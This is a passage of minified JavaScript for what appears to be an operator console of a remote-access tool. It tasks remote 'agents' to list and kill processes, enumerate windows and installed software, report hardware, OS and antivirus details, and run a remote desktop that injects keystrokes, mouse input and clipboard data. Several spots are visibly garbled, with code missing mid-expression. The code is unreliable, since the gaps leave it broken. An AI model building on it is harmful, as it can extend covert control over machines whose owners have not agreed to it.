6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function P3({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(P3,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function gU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await ke(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Tn(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function yU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await ke(e,{command:"installed_apps"});u(!0);let z=0;const O=30;v.current=setInterval(async()=>{var _;z++;try{const E=(_=(await Tn(e)).results)==null?void 0:_.find(U=>U.task_id===N);if(E){if(v.current&&clearInterval(v.current),v.current=null,a(!1),E.error){l(E.error);return}if(E.output)try{const U=JSON.parse(E.output);r(U)}catch{l("Failed to parse installed apps data")}}else z>=O&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const O=N[m]||"",_=z[m]||"",T=O.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function bU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await ke(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Tn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(hi,{label:"CPU",value:n.cpu}),s.jsx(hi,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(hi,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(hi,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(hi,{label:"OS",value:n.os}),s.jsx(hi,{label:"AV",value:n.av}),s.jsx(hi,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function hi({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function wU(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(_.current=window.setInterval(()=>{const G=O.current;u(te=>te.fps===G.fps&&te.frameCount===G.frameCount&&te.dirtyTiles===G.dirtyTiles&&te.totalTiles===G.totalTiles?te:{fps:G.fps,frameCount:G.frameCount,width:G.width,height:G.height,lastFrameMs:G.lastFrameMs,dirtyTiles:G.dirtyTiles,totalTiles:G.totalTiles})},500),()=>{_.current&&clearInterval(_.current)}),[]);const K=p.useCallback((G,te)=>{h.current||(h.current=document.createElement("canvas"));const P=h.current;return(P.width!==G||P.height!==te)&&(P.width=G,P.height=te,x.current=null),x.current||(x.current=P.getContext("2d",{willReadFrequently:!1})),{canvas:P,ctx:x.current}},[]),R=p.useRef(new ArrayBuffer(5)),I=p.useRef(new DataView(R.current)),F=p.useCallback(G=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(G)},[]),B=p.useMemo(()=>({sendMouseMove:(G,te)=>{const P=I.current;P.setUint8(0,1),P.setUint16(1,G,!0),P.setUint16(3,te,!0),F(R.current)},sendMouseButton:(G,te,P,C)=>{const D=new ArrayBuffer(7),A=new DataView(D);A.setUint8(0,2),A.setUint8(1,G),A.setUint8(2,te),A.setUint16(3,P,!0),A.setUint16(5,C,!0),F(D)},sendMouseScroll:(G,te,P)=>{const C=new ArrayBuffer(7),D=new DataView(C);D.setUint8(0,3),D.setInt16(1,G,!0),D.setUint16(3,te,!0),D.setUint16(5,P,!0),F(C)},sendKey:(G,te,P)=>{const C=new ArrayBuffer(8),D=new DataView(C);D.setUint8(0,4),D.setUint8(1,G),D.setUint16(2,te,!0),D.setUint32(4,P,!0),F(C)},sendClipboard:G=>{const te=new TextEncoder().encode(G),P=new ArrayBuffer(5+te.length),C=new DataView(P);C.setUint8(0,5),C.setUint32(1,te.length,!0),new Uint8Array(P,5).set(te),F(P)},setQuality:G=>{U.current=G;const te=new ArrayBuffer(3),P=new DataView(te);P.setUint8(0,6),P.setUint8(1,1),P.setUint8(2,G),F(te)},setViewOnly:G=>{d.current=G},sendControl:(G,te)=>{const P=new ArrayBuffer(3),C=new DataView(P);C.setUint8(0,6),C.setUint8(1,G),C.setUint8(2,te),F(P)}}),[F]),V=p.useCallback(()=>{if(!o2||f.current)return;const G=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});G.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:P,width:C,height:D,cursorX:A,cursorY:Z}=te.data;m.current(P,C,D,A,Z)}},f.current=G},[]),$=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),q=p.useCallback(()=>{if(o2||b.current!==null)return;const G=()=>{const te=y.current,P=g.current,C=w.current;if((te.length>0||P.length>0)&&C){const{canvas:D,ctx:A}=K(C.width,C.height);for(const Z of te)A.fillStyle=`rgb(${Z.r},${Z.g},${Z.b})`,A.fillRect(Z.col*Z.tileSize,Z.row*Z.tileSize,Z.tileSize,Z.tileSize);for(const Z of P)A.drawImage(Z.bitmap,Z.col*Z.tileSize,Z.row*Z.tileSize),Z.bitmap.close();y.current=[],g.current=[],m.current(D,C.width,C.height,C.cursorX,C.cursorY)}b.current=requestAnimationFrame(G)};b.current=requestAnimationFrame(G)},[K]),Y=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const G of g.current)G.bitmap.close();g.current=[],y.current=[]},[]),ie=p.useCallback(()=>{if(T.current!==null)return;const G=64*1024;T.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>G&&!E.current){E.current=!0;const P=new ArrayBuffer(3),C=new DataView(P);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,30),F(P)}else if(te.bufferedAmount<=G/2&&E.current){E.current=!1;const P=new ArrayBuffer(3),C=new DataView(P);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,U.current),F(P)}}},250)},[F]),ae=p.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),E.current=!1},[]),fe=p.useCallback(()=>{if(i.current)return;const G=Ze();if(!G)return;const P=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(G)}`,C=new WebSocket(P);C.binaryType="arraybuffer",i.current=C,C.onopen=()=>{l(!0),V(),q(),ie()},C.onmessage=D=>{if(!(D.data instanceof ArrayBuffer))return;const A=new DataView(D.data);if(D.data.byteLength<13)return;const Z=A.getUint16(0,!0),le=A.getUint16(2,!0),me=Number(A.getBigUint64(4,!0)),ge=A.getUint8(12),M=performance.now(),ee=S.current,W=N.current%k;ee[W]=M,N.current=W+1,z.current1){const Q=ee[(W+1-ne+k)%k],ce=(M-Q)/1e3;ce>0&&(X=Math.round((ne-1)/ce))}const H=O.current;if(H.frameCount++,H.fps=X,H.width=Z,H.height=le,H.lastFrameMs=me,ge===1){const Q=wU(A,13,D.data.byteLength);H.dirtyTiles=Q.numDirty,H.totalTiles=Q.cols*Q.rows;const ce=Q.cols>0?Math.ceil(Z/Q.cols):128,re=Q.tiles.filter(Ne=>Ne.codec===1),Ae=Q.tiles.filter(Ne=>Ne.codec===2);if(f.current){const Ne=[],Ie=re.map(_e=>{const ev=_e.data.buffer.slice(_e.data.byteOffset,_e.data.byteOffset+_e.data.byteLength);return Ne.push(ev),{col:_e.col,row:_e.row,data:ev}}),zt=Ae.map(_e=>({col:_e.col,row:_e.row,r:_e.data[0],g:_e.data[1],b:_e.data[2]}));f.current.postMessage({type:"tiles",tiles:Ie,solids:zt,width:Z,height:le,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:ce},Ne)}else{w.current={width:Z,height:le,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const Ne of 